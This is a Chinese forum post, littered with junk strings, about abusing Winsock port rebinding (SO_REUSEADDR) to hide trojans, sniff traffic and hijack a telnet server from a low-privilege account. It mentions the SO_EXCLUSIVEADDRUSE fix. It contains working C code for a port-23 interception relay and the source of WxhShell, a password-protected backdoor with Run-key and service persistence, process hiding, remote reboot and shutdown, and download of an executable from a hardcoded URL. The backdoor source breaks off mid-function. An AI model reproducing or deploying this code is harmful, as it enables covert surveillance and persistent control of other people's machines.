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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4Rl~7|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H)+wkR!~  
\#'m([<e  
  saddr.sin_family = AF_INET;  !h* F58  
4?7OP t6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1FRpcE  
(ZK(ODn)i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); be&,V_F  
EMS$?"K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "Ze<dB#,Y  
y]%Io]!d  
  这意味着什么?意味着可以进行如下的攻击: MSS0Sx<f  
</h}2x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |uln<nM9  
h&t9CpTfeJ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &28%~&L  
Bf6\KI<V2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'Y-Y By :  
m[?gN&%nc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !bIhw}^C*  
!W45X}/o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J]4Uh_>)  
M!b"c4|<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 By}>h6`[  
dht*1i3v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ."JtR  
y[sO0u\  
  #include si3@R?WR6*  
  #include $"]*,=-X  
  #include nJ~5ICyd  
  #include    0:4w@"Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dn@_\5  
  int main() "E )0)A3=  
  { *4|]=yPU  
  WORD wVersionRequested; <;nhb  
  DWORD ret; ; )J\k2  
  WSADATA wsaData; VRa>bS  
  BOOL val; \J,pV  
  SOCKADDR_IN saddr; Y|96K2BR  
  SOCKADDR_IN scaddr; lr_c  
  int err; El#"vIg(\  
  SOCKET s; Z</.Ss 4  
  SOCKET sc; Ub-q0[6  
  int caddsize; f jm(C#^-  
  HANDLE mt; wxSJ  
  DWORD tid;   sW]fPa(cn,  
  wVersionRequested = MAKEWORD( 2, 2 ); g<$q#l~4xH  
  err = WSAStartup( wVersionRequested, &wsaData ); +1=]93gP  
  if ( err != 0 ) { !U8n=A#,-  
  printf("error!WSAStartup failed!\n"); QNe siV0MI  
  return -1; E|v9khN(].  
  } H$={i$*,Y  
  saddr.sin_family = AF_INET; dNfME*"yN  
   kx31g,cf]w  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Vx*O^cM  
OT{cP3;0*o  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @[. 0,  
  saddr.sin_port = htons(23); SM8Wg>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hWD%_"yhd  
  { >JckN4 v  
  printf("error!socket failed!\n"); KO3X)D<3  
  return -1; -"~XI~a@Wo  
  } iw\yVd^]:k  
  val = TRUE; iininITOS{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e .1! K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) h1REL^!c  
  { U~1)a(Yu;  
  printf("error!setsockopt failed!\n");  xh|<`>5  
  return -1; IB\O[R$x  
  } v1}9i3Or#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; @ q:S]YB   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {U"=}j(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _ 2 oZhJ  
=}UcYC6l  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :erfs}I  
  { mr2fNA>kR  
  ret=GetLastError(); =M`Xu#eRk  
  printf("error!bind failed!\n"); %i5tf;x6i  
  return -1; "el}9OitC  
  } CWY-}M  
  listen(s,2); R1vuf*A5,  
  while(1) R@~=z5X( Q  
  { H;{IOBo  
  caddsize = sizeof(scaddr); u5N&Wn{  
  //接受连接请求 +; / s0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _qa9wK/  
  if(sc!=INVALID_SOCKET) 9 iV_  
  { 08G${@D+X0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V@o#" gZ  
  if(mt==NULL) {H3B1*Dk  
  { Qv6-,6<  
  printf("Thread Creat Failed!\n"); Q8D#kAYw  
  break; ;a 6Z=LB  
  } xSrjN  
  } 9m%2&fjK^  
  CloseHandle(mt); P&IS$FC.\  
  } . ZP$,  
  closesocket(s); L$6W,D  
  WSACleanup(); ?7uK:'8  
  return 0; K_F"j!0  
  }   mO2u9?N  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~9Qd83`UH  
  { Q zp!)i  
  SOCKET ss = (SOCKET)lpParam; ?Ta<.j  
  SOCKET sc; wOg#J  
  unsigned char buf[4096]; 0BQ{ZT-Kh  
  SOCKADDR_IN saddr; U".5x~UC  
  long num; f7/M_sx  
  DWORD val; :.u2^*<  
  DWORD ret; k)9+;bKQQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qs ysy  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QXW> }GdKZ  
  saddr.sin_family = AF_INET; liMw(F2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); yz"hU  
  saddr.sin_port = htons(23); 5zOC zm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;3XOk+  
  { 2!R+5^Iy  
  printf("error!socket failed!\n"); OIDP#K  
  return -1; _2hZGC%&E  
  } 9_O6Sl  
  val = 100; q07H{{h/B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~n$\[rQ  
  { qh+&Zx~  
  ret = GetLastError(); 5O;D\M{>  
  return -1; H@b4(6  
  } (3~^zwA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eD8e0 D'S  
  { c dWg_WBC  
  ret = GetLastError(); I^HwXp([  
  return -1; yb,X }"Et  
  } xIwILY|W=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) > `mV^QD  
  { a?xZsR  
  printf("error!socket connect failed!\n"); t)= dKC  
  closesocket(sc); 6AoKuT;  
  closesocket(ss); ksTK'7*  
  return -1; mZG n:f}=  
  } U1(cBY  
  while(1) FmFjRYA W  
  { "l hj1zZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |>OBpb  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9s*QHCB0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zXU g(xu  
  num = recv(ss,buf,4096,0); @AM11v\:  
  if(num>0) i]OEhB Y  
  send(sc,buf,num,0); r Nurzag  
  else if(num==0) mkhWbzD'S  
  break; /='Q-`?9  
  num = recv(sc,buf,4096,0); Y`#6MhFT7  
  if(num>0) ~KV{m  
  send(ss,buf,num,0); R:3=!zav  
  else if(num==0) uGF{0 )0g  
  break; qWx{eRp d  
  } ! ,{zDMA  
  closesocket(ss); I~^Xw7  
  closesocket(sc); |rG)Q0H,  
  return 0 ; ~)n[Vf  
  } "LJV}L  
{bR2S&=OmK  
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========================================================== ijUu{PG`X  
SM%/pu;  
下边附上一个代码,,WXhSHELL k5J18S  
F" M  
========================================================== tC(MaI  
mRm}7p  
#include "stdafx.h" wy8Q=X:vP  
Z4c'1-lh  
#include <stdio.h> }2;iIw`  
#include <string.h> r>7 +&s*yk  
#include <windows.h> S3i p?9  
#include <winsock2.h> .@%L8_sMR  
#include <winsvc.h> fQ~TZ:UrU  
#include <urlmon.h> K *{RGE  
dP +wcl4  
#pragma comment (lib, "Ws2_32.lib") %p$XK(6  
#pragma comment (lib, "urlmon.lib") K;WQV,  
B@NBN&Fr  
#define MAX_USER   100 // 最大客户端连接数 }A,!|m4  
#define BUF_SOCK   200 // sock buffer y`L.#5T  
#define KEY_BUFF   255 // 输入 buffer ^<-)rzTI  
*4NY"EwjN  
#define REBOOT     0   // 重启 `e~i<Pi  
#define SHUTDOWN   1   // 关机 /} z9(  
@TD=or .&  
#define DEF_PORT   5000 // 监听端口 4w=v /WDo  
t-o,iaPG3  
#define REG_LEN     16   // 注册表键长度 VFx[{Hy  
#define SVC_LEN     80   // NT服务名长度 ej@4jpHQN  
~tyqvHC  
// 从dll定义API U~)5{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nDO7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }/&Zo=Q$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iQ(j_i'+!I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DbLo{mFEIj  
yP"}(!~m  
// wxhshell配置信息 q~ Z UtF  
struct WSCFG { $[?N^   
  int ws_port;         // 监听端口 U5wh( vi  
  char ws_passstr[REG_LEN]; // 口令 ZD'mwj+K  
  int ws_autoins;       // 安装标记, 1=yes 0=no D (8Z90  
  char ws_regname[REG_LEN]; // 注册表键名 m BFNg3_  
  char ws_svcname[REG_LEN]; // 服务名 KpLaQb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v]EZYEXFL)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 hU-FSdR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d/j?.\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Sb-e(sl  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *EvW: <  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~cSXBc,+  
NQ;X|$!zH  
}; 6xtgnl#T  
JxwKTFU'3O  
// default Wxhshell configuration K$,<<hl  
struct WSCFG wscfg={DEF_PORT, ym%` l!  
    "xuhuanlingzhe", 8.. |-<w  
    1, %q3`k#?<  
    "Wxhshell", b way+lh  
    "Wxhshell", ]s0wJD=  
            "WxhShell Service", Z81;Y=(  
    "Wrsky Windows CmdShell Service", >I5Wf /$  
    "Please Input Your Password: ", p*42 @1,  
  1, M>m!\bb%.  
  "http://www.wrsky.com/wxhshell.exe", `<d.I%}  
  "Wxhshell.exe" ru2M"]T  
    }; 4]m{^z`1  
"Y L^j~A  
// 消息定义模块 $Z]@N nA9N  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; " Zhh>cz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rZpsC}C'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h M7 SGEV  
char *msg_ws_ext="\n\rExit."; fXWE4^jU  
char *msg_ws_end="\n\rQuit."; P HOngn  
char *msg_ws_boot="\n\rReboot..."; 9q$^x/z!  
char *msg_ws_poff="\n\rShutdown..."; (0Br`%!F  
char *msg_ws_down="\n\rSave to "; $`W3`}#fM  
yH-&o,  
char *msg_ws_err="\n\rErr!"; *j]Bo,AC  
char *msg_ws_ok="\n\rOK!"; 2IW!EUR  
~<<32t'S:  
char ExeFile[MAX_PATH]; N atC}k  
int nUser = 0; CSoVB[vS  
HANDLE handles[MAX_USER]; OAs>F"  
int OsIsNt; U W8yu.`?  
mMllen  
SERVICE_STATUS       serviceStatus; OET/4( C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; wM N;<  
dl8f]y#Q  
// 函数声明 6?%$e$s  
int Install(void); "}1cQ|0a  
int Uninstall(void); k"gm;,`  
int DownloadFile(char *sURL, SOCKET wsh); t^KQv~  
int Boot(int flag); h>*3i#  
void HideProc(void); Hs8JJGXWB  
int GetOsVer(void); mD% qDKI  
int Wxhshell(SOCKET wsl); 8(Ptse  ,  
void TalkWithClient(void *cs); w=!xTA  
int CmdShell(SOCKET sock); !9HWx_,|Z  
int StartFromService(void); PR!0=E*}  
int StartWxhshell(LPSTR lpCmdLine); _u6N aB  
&L?]w=*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wAW{{ p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k)D5>T  
b|k^   
// 数据结构和表定义 ;PG= 3j_  
SERVICE_TABLE_ENTRY DispatchTable[] = q] pHD})O  
{ ,.2qh|Ol  
{wscfg.ws_svcname, NTServiceMain}, N-2_kjb!  
{NULL, NULL} vs+aUT C\  
}; JBHPI@Qt%  
@N<h`vDa  
// 自我安装 n05GM.|*s  
int Install(void) NQuqM`LSQ  
{ ?8s$RYp14  
  char svExeFile[MAX_PATH]; YR/I<m`]}  
  HKEY key; (U$;0`  
  strcpy(svExeFile,ExeFile); R#y"SxD()  
pN9U1!|uam  
// 如果是win9x系统,修改注册表设为自启动 4Ng:7C2  
if(!OsIsNt) { ?5B?P:=kl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \v=@'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `S4*~Xx  
  RegCloseKey(key); icIWv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vN_ 8qzWk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iyR"O1]  
  RegCloseKey(key); 9* 3;v;F  
  return 0; uJ0'`Q?6R9  
    } 4,R"(ej  
  } ]LxE#R5V  
} j@+$lU*r  
else { t~4Cf])  
f<rn't{  
// 如果是NT以上系统,安装为系统服务 /+`%u&<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,UVu.RjXN  
if (schSCManager!=0) `jOk6;Z[  
{ :r "G Z  
  SC_HANDLE schService = CreateService [lSQMoi3  
  ( iWA?FBv  
  schSCManager, +rSU  
  wscfg.ws_svcname, A*/8j\{n  
  wscfg.ws_svcdisp, XHJ` C\xR  
  SERVICE_ALL_ACCESS, tq'ri-c&b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .$y'>O*$G  
  SERVICE_AUTO_START, I#;dS!W"'  
  SERVICE_ERROR_NORMAL, zAklS 7L  
  svExeFile, 7hPwa3D^  
  NULL, E6O!e<ze^  
  NULL, 6=,zkU*i ^  
  NULL, 3< 6h~ek )  
  NULL, 4]p#9`j  
  NULL yVGf[ ~X  
  ); O(=9&PRi  
  if (schService!=0) #QcRN?s  
  { (5th   
  CloseServiceHandle(schService); H7Z`aQC  
  CloseServiceHandle(schSCManager); Pn.DeoHme  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 's5rl  
  strcat(svExeFile,wscfg.ws_svcname); 2.MUQ;OX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A.FI] K@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )qIK7;  
  RegCloseKey(key); CAA~VEUL  
  return 0; 8FITcK^  
    } U{Z>y?V/  
  } "gz;Q  
  CloseServiceHandle(schSCManager); [C6?:'}FA  
} UK,P?_e  
} ccSSa u5N  
=)8Ct  
return 1; ~e<<aTwN  
} 7w*&Yg]  
8gNEL+  
// 自我卸载 [}p.*U_nw  
int Uninstall(void) ap~Iz  
{ as4NvZ@+r  
  HKEY key; ~aG-^BAS  
M\f0 =`g  
if(!OsIsNt) { JPG!cX%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >lmL  
  RegDeleteValue(key,wscfg.ws_regname); _O%p{t'q<  
  RegCloseKey(key); <4,?lZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { beE%%C]X  
  RegDeleteValue(key,wscfg.ws_regname); Gu).*cU  
  RegCloseKey(key); C 5 UDez  
  return 0; #+0 R!Y  
  } $lA,{Q  
} su;S)yZb  
} Y +54z/{  
else { FOi`TZ8  
u0b-JJ7)BQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rU@?v+i  
if (schSCManager!=0) 0pa^O$?p  
{ 9G+rxyWMW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v!A|n3B]p  
  if (schService!=0) ZiYzsn  
  { \r,. hUp  
  if(DeleteService(schService)!=0) { M) XQi/  
  CloseServiceHandle(schService); +lJ]-U|P  
  CloseServiceHandle(schSCManager); '/g+;^_cB  
  return 0; }F6b ]  
  } P%HyIODS  
  CloseServiceHandle(schService); Vj`s_IPY  
  } "0zXpQi,B  
  CloseServiceHandle(schSCManager); 5XO'OSdYq  
} bI6wE'h  
} dt&Lwf/  
F6]!?@  
return 1; 6v O)s!b  
} )Q/`o,Vm  
ef:$1VIBda  
// 从指定url下载文件 _|wY[YJ[  
int DownloadFile(char *sURL, SOCKET wsh) JD`;,Md  
{ >@"3Q`  
  HRESULT hr; {)9HS~e T  
char seps[]= "/"; mW0&uSM D  
char *token; ^1yTL5#:Vw  
char *file; #s R0*  
char myURL[MAX_PATH]; O8~U<'=*  
char myFILE[MAX_PATH]; G^@Jgx3n  
Y1aF._Z  
strcpy(myURL,sURL); bW.zxQ :  
  token=strtok(myURL,seps); @TPgA(5NR  
  while(token!=NULL) _6S b.9m  
  { pMZf!&tM  
    file=token; m<,G:?RM  
  token=strtok(NULL,seps); t,1!`/\  
  } {G1aAM\Hz  
-WBz]GW4r  
GetCurrentDirectory(MAX_PATH,myFILE); 2{]S_. zV  
strcat(myFILE, "\\"); ecqz@*d&  
strcat(myFILE, file); = EChH@3  
  send(wsh,myFILE,strlen(myFILE),0); (6#yw`\  
send(wsh,"...",3,0); q|$>H6H4b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -,fa{yt-  
  if(hr==S_OK) &J/4J  
return 0; LXu"rfp  
else E,D:D3O  
return 1; *[1u[H9Cv  
0B$7S,2  
} PVS<QN%  
Sd<@X@iU8D  
// 系统电源模块 8K JQ(  
int Boot(int flag) #C,f/PXfaB  
{ p-'6_\F.Ke  
  HANDLE hToken; F`BgKH!  
  TOKEN_PRIVILEGES tkp; FH`'1iVH  
?y*+^E0  
  if(OsIsNt) { .xLF}{u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bDFCZH-:'O  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SC $`  
    tkp.PrivilegeCount = 1; VM]GYz|#]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h\u0{!@}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |1QbO`f/F  
if(flag==REBOOT) { Ub'%pU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mj(&`HRs4  
  return 0; lA.;ZD!  
} u $% D9Z^  
else { # +QWi0B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =(|xU?OL  
  return 0; [C+Gmu  
} ANFg]g.Az  
  } y3KcM#[  
  else { 2i7i\?<.  
if(flag==REBOOT) { RhV:Z3f`6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KCJN<  
  return 0; I| W'n-4Y  
} 1(%>`=R8  
else { 0tW<LR-}E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FM9X}%5nu9  
  return 0; >9.5-5"   
} )@<HCRQ'q  
} @QVqpE<|  
Y3P.|  
return 1; y NrinYw  
} $c@w$2  
7>'uj7r]=  
// win9x进程隐藏模块 %_b^!FR  
void HideProc(void) _}I(U?Q-C  
{ N>A{)_k3  
XDpfpJ,z"}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ] Wx>)LT  
  if ( hKernel != NULL ) VDByj "%  
  { yHWi [7$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); poXLy/K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I!$jYY2  
    FreeLibrary(hKernel); YH)Opk  
  } i\=z'  
~|CJsD/  
return; xH_A@hf;  
} HYjMNj0  
zU f>db  
// 获取操作系统版本 $ ^W-Wmsz  
int GetOsVer(void) ?w+ QbT  
{  ?YqJ.F;  
  OSVERSIONINFO winfo; ^Yj"RM$;N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AIZW@Nq.5  
  GetVersionEx(&winfo); ?xtt7*'D  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cS<TmS!  
  return 1; Q7,EY /  
  else ^ckj3Y#;  
  return 0; nE/=:{~Ws  
} Dh2:2Rz=#7  
S5i+vUI8C  
// 客户端句柄模块 Xzl KP;r0  
int Wxhshell(SOCKET wsl) &EAk z  
{  28nmQ  
  SOCKET wsh; 9pWi.J  
  struct sockaddr_in client; }qc#lz  
  DWORD myID; BG'6;64kx6  
BJ~ ivT<  
  while(nUser<MAX_USER) K!3{M!B   
{ IE&_!ce  
  int nSize=sizeof(client); Da"yZ\4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  X ?tj$  
  if(wsh==INVALID_SOCKET) return 1; >@^<S_KVh  
%$Aqbd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S8\+XJ  
if(handles[nUser]==0) <5dH *K  
  closesocket(wsh); A2Q[%A  
else Yt -W1vl  
  nUser++; nz^nptw  
  } g^1r0.Sp{8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z;hyi'rPJ  
r,5-XB  
  return 0; t)LU\!  
} brntE:  
DlDB=N0@S  
// 关闭 socket Zb]/nP1P  
void CloseIt(SOCKET wsh) wTT RoeJ}  
{ h-7A9:  
closesocket(wsh); pjACFVMFX  
nUser--; @8|Gh]\P  
ExitThread(0); ~]&B >q  
} ) ]73S@P(=  
5:c;RRn  
// 客户端请求句柄 H.:9:I[n  
void TalkWithClient(void *cs) aVP5%  
{ ?9p$XG  
W,Ty=:qm*  
  SOCKET wsh=(SOCKET)cs; V~85oUc\-  
  char pwd[SVC_LEN]; Rs2-94$!5  
  char cmd[KEY_BUFF]; *6XRjq^#  
char chr[1]; AP0|z  
int i,j; Hq?&Qo  
L?HF'5o  
  while (nUser < MAX_USER) { ;u,rtEMy;  
ojoxXly`  
if(wscfg.ws_passstr) { )A"jVQjI%w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9\AS@SH{^T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jn^fgH ?  
  //ZeroMemory(pwd,KEY_BUFF); zka?cOmYF[  
      i=0; jB!W2~Z  
  while(i<SVC_LEN) { .a:Z!KF  
F$h'p4$T  
  // 设置超时 Ir27ZP  
  fd_set FdRead; Aq"PG}Ic  
  struct timeval TimeOut; Ihg~Q4t  
  FD_ZERO(&FdRead); B9*Sfw%  
  FD_SET(wsh,&FdRead); >! oF0R_<  
  TimeOut.tv_sec=8; E_3r[1l  
  TimeOut.tv_usec=0; '0RRFO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !!WJn}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A#35]V06  
E?Cj/o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sL i*SR  
  pwd=chr[0]; 4)^vMG&  
  if(chr[0]==0xd || chr[0]==0xa) { =/Wu'gG)  
  pwd=0; ({e7U17[#  
  break; BSKEh"f  
  } C8.W5P[U  
  i++; SKR;wu  
    } q 5p e~  
>A($8=+#x  
  // 如果是非法用户,关闭 socket Rg&19 }BU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G3dh M#!  
} <tuS,.  
"0-y*1/m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &z>q#'X;.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ek ZjO Ci  
=/9<(Tt%m  
while(1) { <KLg0L<W  
H&bh<KPMh  
  ZeroMemory(cmd,KEY_BUFF); @9vvR7{P  
lw[<STpD;  
      // 自动支持客户端 telnet标准   g$w6kz_[  
  j=0; 7Z0/(V.-  
  while(j<KEY_BUFF) { azX`oU,l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "w&/m}E,[  
  cmd[j]=chr[0]; J3=BE2L  
  if(chr[0]==0xa || chr[0]==0xd) { k[9A,N^lZB  
  cmd[j]=0; # X/Q  
  break; _~A~+S}  
  } e4[) WNR  
  j++; sRq U]i8l  
    } G{o+R]Us  
w>vH8f  
  // 下载文件 S}7>RHe  
  if(strstr(cmd,"http://")) { "={L+di:M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H]Wp%"L  
  if(DownloadFile(cmd,wsh)) *Jt8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]XUSqai  
  else 1;Xgc@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F=}Z51|:~  
  } |C D}<r(N  
  else { tcA;#^jc  
 YqU/\f+  
    switch(cmd[0]) { ce'TYkPM  
  @^? XaU  
  // 帮助 ]k*1KP  
  case '?': { ;+`uER  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ' msmXX@q  
    break; 2U9&l1P=  
  } %&<W(|U1<  
  // 安装 ~E*d G  
  case 'i': { !kXeO6X@m  
    if(Install()) l h/&__  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); If'2rE7J  
    else c3k|G<C2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R0<< f]  
    break; 3k' .(P|F  
    } bGv4.:)  
  // 卸载 zj%cQkZ  
  case 'r': { ( v@jc8y  
    if(Uninstall()) jTSOnF}C~+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <4mQ*6  
    else |Td5l?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %j{.0 H  
    break; .Z%G@X*  
    } \##`pa(8  
  // 显示 wxhshell 所在路径 %EI<@Ps8c  
  case 'p': { 9Nt3Z >d  
    char svExeFile[MAX_PATH]; Y\?j0X;  
    strcpy(svExeFile,"\n\r"); {L0;{  
      strcat(svExeFile,ExeFile); N5 n>  
        send(wsh,svExeFile,strlen(svExeFile),0); U:lv^ QPG  
    break;  @Fx@5e  
    } _Bk U+=|J  
  // 重启 zWIeHIt  
  case 'b': { m0( E kK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1^{`lK~2  
    if(Boot(REBOOT)) =n0*{~r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PZM42"[&  
    else { h~miP7,c<u  
    closesocket(wsh); h&'=F)5  
    ExitThread(0); /f3m)pT  
    } kx{!b3"  
    break; mG(N:n%*K  
    } 9]$`)wZ  
  // 关机 nl@E[yA9[  
  case 'd': { I/s.xk_i  
